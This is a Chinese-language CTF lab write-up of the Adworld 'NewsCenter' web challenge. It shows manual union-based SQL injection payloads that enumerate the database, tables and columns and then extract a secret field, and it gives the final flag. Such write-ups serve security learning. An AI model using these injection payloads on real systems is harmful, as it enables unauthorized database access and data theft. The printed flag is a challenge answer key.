攻防世界 web进阶区 NewsCenter

攻防世界 web进阶区 NewsCenter

打开界面,是一个新闻中心,并且拥有搜索功能
攻防世界 web进阶区 NewsCenter_第1张图片
正常搜索,尝试搜索下面的消息内容,搜索hello得到这条消息的相关信息。
攻防世界 web进阶区 NewsCenter_第2张图片
这个动作很容易就联想到了sql注入,因为数据一般是保存在数据库中的,首先尝试sql注入。先试试闭合符号“'”,结果直接报错了
攻防世界 web进阶区 NewsCenter_第3张图片
然后尝试注释后面的部分内容,页面可以正常显示,不过并没有内容输出了。

攻防世界 web进阶区 NewsCenter_第4张图片
先试试order by 会不会报错吧,当输入hello ' order by 10 # 的时候直接报错,证明确实存在sql注入。
攻防世界 web进阶区 NewsCenter_第5张图片
最后测试出当前表总共有3个字段,因为order by 4 会报错。
攻防世界 web进阶区 NewsCenter_第6张图片
接下来尝试union 联合注入看看情况先,直接给出了2和3,证明显示的是第二个字段和第三个字段的内容。
注入的SQL语句为:

hello' union select 1,2,3#

攻防世界 web进阶区 NewsCenter_第7张图片
接着爆库名和当前登录账户信息,得到当前的库名为user,登录的用户为user。
注入的SQL语句为:

hello' union select 1,database(),user() #

攻防世界 web进阶区 NewsCenter_第8张图片
然后使用group_concat()爆出当前数据库的所有表名,从下图中,可以看出,所有表中的news为存放新闻的。
注入的SQL语句为:

hello' union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database() #

攻防世界 web进阶区 NewsCenter_第9张图片然后根据表名获取对应表的字段信息,在secret_table表中发现了fl4g这个字段,其中可能就存放了flag的相关信息。

hello' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table' #

攻防世界 web进阶区 NewsCenter_第10张图片
接着继续查看fl4g这个字段的内容,获取得到flag
注入的SQL语句为:

hello' union select 1,2,(select group_concat(id,0x3a,fl4g) from secret_table) #

攻防世界 web进阶区 NewsCenter_第11张图片最终的flag为:QCTF{sq1_inJec7ion_ezzz}
题目到这里就做完了,这个是我做的题目中比较顺利的一个题目吧,就是简单的联合查询注入。让我没有想到的是,不使用工具跑,靠手工注入就直接得出了答案,还是非常开心的。

你可能感兴趣的:(ctf,web题,数据库,web安全,sql)